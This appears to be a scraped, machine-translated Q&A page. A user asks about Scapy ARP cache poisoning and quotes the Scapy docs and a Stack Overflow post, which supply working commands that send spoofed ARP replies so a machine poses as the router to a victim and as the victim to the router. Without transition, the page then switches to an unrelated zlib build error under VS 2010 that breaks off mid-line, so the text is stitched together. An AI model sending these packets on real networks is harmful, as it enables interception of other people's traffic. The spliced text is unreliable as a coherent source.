Scapy 文档提供了以下 ARP 缓存中毒示例:
send(Ether(dst=clientMAC)/ARP(op="who-has", psrc=gateway, pdst=client))
Run Code Online (Sandbox Code Playgroud)
问题 1:
我的理解是,这是来自客户端的 ARP 请求的广播。攻击者是否应该执行 ARP 毒药响应:
send(Ether(dst=clientMAC)/ARP(op="is-at", psrc=gateway, pdst=client))
Run Code Online (Sandbox Code Playgroud)
问题 2:在关于 Scapy 的 stackoverflow 上的帖子中,OP 发布了:
这会向受害者发送一个 ARP 回复数据包,其中本地机器伪装成路由器:
send(ARP(op=ARP.is_at, psrc=router_ip, hwdst=victim_mac, pdst=victim_ip))
Run Code Online (Sandbox Code Playgroud)
这会向路由器发送一个 ARP 回复数据包,本地机器伪装成受害者:
send(ARP(op=ARP.is_at, psrc=victim_ip, hwdst=router_mac, pdst=router_ip))
Run Code Online (Sandbox Code Playgroud)
在这两个数据包中,hwsrc 字段默认填充本地机器的 MAC 地址。
但是 Scapy 文档没有提到需要 hwdst。我想知道为什么。
问题 3:在 Scapy 文档中:
send(Ether(dst=clientMAC)/ARP(op="who-has", psrc=gateway, pdst=client))
Run Code Online (Sandbox Code Playgroud)
但是在问题 2 的 OP 帖子中,没有提供 Ether(dst-clientMAC)。这是否意味着它不是必需的?
谢谢。
我正在尝试使用 VS 2010 和 CMake 在 Windows 10 - Home 上构建一个项目。我收到以下错误:
zutil.c
lib -nologo -out:zlib.lib adler32.obj compress.obj crc32.obj deflate.obj gzclose.obj gzlib.obj gzread.obj gzwrite.obj infback.obj inflate.obj inftrees.obj inffast.obj trees.obj uncompr.obj zutil.obj
rc /dWIN32 /r /fozlib1.res ./win32/zlib1.rc
'rc' is not recognized as an internal or external command,
operable program or batch file.
NMAKE : fatal error U1077: 'rc' : return code '0x1'
Stop.
*.dll
The system cannot find the file specified.
0 file(s) copied.
Setting environment for using Microsoft Visual Studio 2010 …Run Code Online (Sandbox Code Playgroud)